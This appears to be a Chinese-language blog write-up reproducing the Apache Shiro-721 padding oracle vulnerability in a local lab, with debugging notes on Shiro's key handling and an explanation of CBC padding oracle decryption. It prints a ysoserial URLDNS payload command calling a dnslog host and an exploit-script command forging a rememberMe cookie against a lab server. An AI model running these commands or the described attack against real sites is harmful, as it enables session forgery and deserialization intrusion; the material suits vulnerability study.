前言

shiro721是shiro550更新过后的一个版本,不同于shiro550,它使用的是动态密钥对Cookie值rememberMe进行的加密,这样就避免了攻击者的攻击,但是真的能避免吗?既然有这个漏洞,那就说明无法避免,主要还是因为shiro使用了AES-CBC的加密方式,这时我们就可以使用Padding Oracle Attack的方法(不需要密钥也可以伪造密文)进行攻击。

环境准备

https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war

下载war包,解压之后打开这个项目将cc换成3.2.1的版本

创建一个新的项目

img

踩坑点:不要使用jdk版本8u65,版本太低会报错误

将刚刚解压的war包里的内容放入webapp中

img

依赖的添加,在lib下

img

添加tomcat启动(记得工件)

img

最后启动环境,我们可以看到如下界面

img

漏洞利用

使用ysoserial工具生成URLDNS的payload

1
java -jar ysoserial.jar URLDNS http://56db4471.log.dnslog.pp.ua. > payload.class

然后使用攻击的exp伪造密文https://github.com/inspiringz/Shiro-721

1
python shiro_exp.py http://192.168.50.249:8080/shiro721_war_exploded/account //oAmLlP1RoVmKsmOls9yuLFng5P5iFPNerBYYR4m1FKkT0CrTZfB+GS2N6WHkGFRonZLpGViL03gr/Va03lNjujp33aoIg4NrP4LSdEkYyG6WDB5gpcb2p92377Hnmxs+6giL0dtg27Ei+BeQsbtjOLtFhKr+rHofWJ3relUSdlkzhele6Eit5pO6CAj2Cg7gbk56fXXvvz71ODonRfrQRNmoTSaMe8i0C73P1SSTIsnJFAdXSWwHE5t0S4cTGjGLHz2cq03JAlbNTf+dGCMtU+/brmk/33ZGVER1aixi/4a+SNm428Wq7dRURcfmVnvPlH7J1AneX0W5r4OmH9lfJy4JXwVS6WGNQL35ZX2dbzVFMuZ99aKavaDSN1W+ReSzIoQFgqz+/3vuYhkETdmXBFMTFmraO8PY6PSW5NQrkGDiN9M4xYp2X2zYFtexZEr09fiCXS15YwxOozG7rM0b5VrO35W8ZSBDosCfwAQrFJcYkCKWQTcXkK9W/wi2lx payload.class

img

img

漏洞利用成功

漏洞分析

在我们之前分析的shiro550中,我们可以看到这里的密钥使用是固定密钥,因此可以伪造恶意cookie值进行攻击

img

但是在shiro721中,我们可以看到密钥是进行的动态获取的

img

我们在这里打一个断点,调试一下

这里有密钥的生成器,跟进一下

img

img

然后跟进engineInit,会发现对AES算法进行一个初始化img

img

我们从这里进去看一下

img

在进这边

img

可以看到这里对密钥序列进行了一个获取

至此分析就结束了


Padding Oracle Attack

还有一些分析点,是和shiro550类似的,这里主要讲解一下,Padding Oracle Attack这种攻击的主要利用。

先给大家看一个图

img

AES是分块加密的这里是8个字节为一个块进行加密,**表示任意数据,第一个缺少一个字节就padding 01,然后第二个缺少两个字节,就padding 02 02 以此类推

注意点:当你的字节满了之后就会在开一个数据块供你padding,例如:** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08.


以上是填充规则,至于怎么爆破的我们来简单聊一下:

首先,你是不知道密钥的,但是你想要解密C2,我们这时就需要利用到C1(这里假设C1扮演IV角色),我们要对C1进行逐字节破解。

  • 破解最后一个字节,由上述描述,填充规则要满足01,IV全部置零,修改最后一个字节从0x00到0xFF,然后把每次请求都发送给服务器,直到服务器为200然后计算中间值,然后就可以计算出明文字节
  • 同样破解第二个字节,就要满足,填充规则为0x02 0x02 ,我们已经知道最后一位中间值,可以利用这个中间值算出得到最后以为0x02的IV,然后只要爆破倒数第二位的IV位0x02的中间值就可以了,同样时遍历0x00到0xFF,最后得到第二个字节的中间字,然后计算出第二个字节的明文
  • 以此类推……,直到解密出整个块的明文。

这是解密过程,逆着来就可以对数据进行加密了。(通过这种方法就不需要密钥伪造密文了)


在shiro721中对Padding Oracle Attack的利用

那么明白这个点之后我们需要爆破攻击吧,怎么进行攻击呢?

这里就需要有能爆破的条件了(也就是判断条件)

来跟一下

img

img

img

img

这里的有IllegalBlockSizeException, BadPaddingException就是检测块大小异常和错误的填充的,这个错误会被抛到顶层getRememberPrincipals方法中,然后这个方法会调用onRememberedPrincipalFailure方法

img

onRememberedPrincipalFailure会调用到removeFrom

img

如果padding不正确,这里就会返回Set-Cookie: rememberMe=deleteMe

看一下正确的情况,拿cookie解密,改填充

img

这里填充了16个字节 10的10进制是16

img

img

如果padding正确服务器会正常响应


写个小问题哈,当时调试的时候遇到的,在复现最后一个的时候,想看一眼密钥是啥,然后发现最后解密的时候一直是固定密钥,当时是真懵逼了,只能去调试一下怎么回事

img

然后发现会使用固定密钥对key进行重新的赋值,其实我们向上找找会发现这个

img

会重新从rememberMeManager.cipherKey 进行加载shiro的固定key,这里其实是在配置文件中改一下

img

打个注释就好了


参考:https://drun1baby.top/2023/03/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8702-Shiro721%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#%E5%9C%A8-shiro721-%E4%B8%AD%E7%9A%84-Padding-Oracle-Attack

https://www.cnblogs.com/poziiey/p/12454625.html